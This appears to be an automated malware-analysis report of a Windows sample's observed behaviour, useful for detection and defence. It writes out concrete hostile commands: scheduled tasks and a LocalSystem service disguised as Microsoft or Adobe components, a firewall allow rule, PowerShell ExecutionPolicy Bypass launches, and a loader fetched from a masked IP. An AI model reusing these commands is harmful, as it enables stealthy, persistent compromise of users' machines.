Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\microsoft\windows\windows update listner
- <SYSTEM32>\tasks\microsoft\microsoft launcher
- <SYSTEM32>\tasks\launch adobe ccxprocess
- <SYSTEM32>\tasks\microsoft\splwow
- <SYSTEM32>\tasks\microsoft\sywi222
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\System Diagnostics Host] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\System Diagnostics Host] 'ImagePath' = '%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe'
Creates the following services
- 'System Diagnostics Host' %WINDIR%\SysWOW64\SystemDiagnosticsHost.exe
Malicious functions
Executes the following
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Window Listner" dir=in action=allow program="%WINDIR%\Media\mppr.exe" enable=yes
- '<SYSTEM32>\taskkill.exe' /im svchostnon.exe /f
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
- %WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe
Modifies file system
Creates the following files
- %TEMP%\slpqei55.hbj.exe
- %TEMP%\cloneworkingset.png
- %WINDIR%\media\mppr.exe
- %WINDIR%\inputmethod\shared\rc_connectedaccount.exe
- %WINDIR%\media\msldriver.dll
- %WINDIR%\syswow64\systemdiagnosticshost.exe
- %TEMP%\content\2404-680-slpqei55.hbj.exe-15-33-41-884.dump
- %TEMP%\content\2404-680-slpqei55.hbj.exe-15-33-41-973.dump
- %TEMP%\tmp6bda.tmp.bat
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\slpqei55.hbj.exe.log
- %TEMP%\content\3196-4968-mppr.exe-15-33-51-114.dump
- %TEMP%\tmp882c.tmp
- %TEMP%\tmp8917.tmp
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<File name>.exe.log
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\mppr.exe.log
- %TEMP%\tmpd302.tmp.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\tmpd302.tmp.exe.log
- %TEMP%\tmp75ac.tmp.exe
- %TEMP%\tmp7d00.tmp.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\tmp7d00.tmp.exe.log
- <SYSTEM32>\splwow32.exe
- %TEMP%\cchaoyeh.xt5.bat
- nul
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\tmp75ac.tmp.exe.log
Sets the 'hidden' attribute to the following files
- %WINDIR%\media\mppr.exe
- %WINDIR%\inputmethod\shared\rc_connectedaccount.exe
- %WINDIR%\media\msldriver.dll
- %WINDIR%\syswow64\systemdiagnosticshost.exe
- <SYSTEM32>\splwow32.exe
Deletes following files that it created itself
- %TEMP%\tmp882c.tmp
- %TEMP%\tmp8917.tmp
Modifies the HOSTS file.
Network activity
Connects to
- 'localhost':443
- 'vv######jnj25i5.hopto.org':443
- 'vv######jnj25i5.hopto.org':80
- '93.##3.39.81':5000
- '78.##.209.26':5000
TCP
HTTP GET requests
- http://87.##0.186.104/files/loader/SteamSetup.exe
Other
- 'vv######jnj25i5.hopto.org':443
- '78.##.209.26':5000
UDP
- DNS ASK ui######wgydfhbhuifdf.com
- DNS ASK an######sa9923p.hopto.org
- DNS ASK 2w######jfui309.hopto.org
- DNS ASK vv######oij25i4.hopto.org
- DNS ASK vv######gyuigi2.hopto.org
- DNS ASK 8j######wi6ns92.hopto.org
- DNS ASK pr######ag32dds.hopto.org
- DNS ASK cv######ynwfffgyui2w4.com
- DNS ASK vv######jnj25i5.hopto.org
Miscellaneous
Searches for the following windows
- ClassName: 'NarratorUIClass' WindowName: ''
Creates and executes the following
- '%TEMP%\slpqei55.hbj.exe'
- '%WINDIR%\syswow64\systemdiagnosticshost.exe'
- '%WINDIR%\media\mppr.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' –ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\tmpD302.tmp.exe"'
- '%TEMP%\tmpd302.tmp.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' –ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\tmp75AC.tmp.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' –ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\tmp7D00.tmp.exe"'
- '%TEMP%\tmp75ac.tmp.exe'
- '%TEMP%\tmp7d00.tmp.exe'
- '<SYSTEM32>\splwow32.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /rl highest /mo 1 /tn "Microsoft\Windows\Windows Update Listner" /tr "%WINDIR%\Media\mppr.exe" & exit
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "%WINDIR%\InputMethod\SHARED\RC_ConnectedAccount.exe" & exit
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr ""%WINDIR%\Media\mppr.exe"" /sc onlogon & exit
- '<SYSTEM32>\cmd.exe' /c sc create "System Diagnostics Host" binPath= "%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto & exit
- '<SYSTEM32>\schtasks.exe' /create /f /sc minute /rl highest /mo 1 /tn "Microsoft\Windows\Windows Update Listner" /tr "%WINDIR%\Media\mppr.exe"
- '<SYSTEM32>\cmd.exe' /c sc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks." & exit
- '<SYSTEM32>\cmd.exe' /c sc start "System Diagnostics Host" & exit
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="Window Listner" dir=in action=allow program="%WINDIR%\Media\mppr.exe" enable=yes & exit
- '<SYSTEM32>\schtasks.exe' /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "%WINDIR%\InputMethod\SHARED\RC_ConnectedAccount.exe"
- '<SYSTEM32>\schtasks.exe' /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr ""%WINDIR%\Media\mppr.exe"" /sc onlogon
- '<SYSTEM32>\sc.exe' create "System Diagnostics Host" binPath= "%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto
- '<SYSTEM32>\sc.exe' description "System Diagnostics Host" "Monitors and manages system diagnostic tasks."
- '<SYSTEM32>\sc.exe' start "System Diagnostics Host"
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\tmp6BDA.tmp.bat""
- '<SYSTEM32>\svchost.exe' -k appmodel -p -s camsvc
- '<SYSTEM32>\cmd.exe' /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\tmpD302.tmp.exe"' & exit
- '%WINDIR%\microsoft.net\framework\v4.0.30319\aspnet_compiler.exe'
- '<SYSTEM32>\cmd.exe' /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\tmp75AC.tmp.exe"' & exit
- '<SYSTEM32>\cmd.exe' /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\tmp7D00.tmp.exe"' & exit
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /rl highest /tn "Microsoft\splwow" /tr "<SYSTEM32>\splwow32.exe" /sc onlogon & exit
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\sywi222" /tr "<SYSTEM32>\splwow32.exe" & exit
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\cchaoyeh.xt5.bat""
- '<SYSTEM32>\schtasks.exe' /create /f /rl highest /tn "Microsoft\splwow" /tr "<SYSTEM32>\splwow32.exe" /sc onlogon
- '<SYSTEM32>\schtasks.exe' /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\sywi222" /tr "<SYSTEM32>\splwow32.exe"
- '<SYSTEM32>\timeout.exe' 8
- '<SYSTEM32>\cmd.exe' /c taskkill /im svchostnon.exe /f
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /rl highest /mo 1 /tn "Microsoft\Windows\Windows Update Listner" /tr "%WINDIR%\Media\mppr.exe" & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "%WINDIR%\InputMethod\SHARED\RC_ConnectedAccount.exe" & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr ""%WINDIR%\Media\mppr.exe"" /sc onlogon & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc create "System Diagnostics Host" binPath= "%WINDIR%\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks." & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c sc start "System Diagnostics Host" & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall add rule name="Window Listner" dir=in action=allow program="%WINDIR%\Media\mppr.exe" enable=yes & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\tmpD302.tmp.exe"' & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\tmp75AC.tmp.exe"' & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"%TEMP%\tmp7D00.tmp.exe"' & exit' (with hidden window)
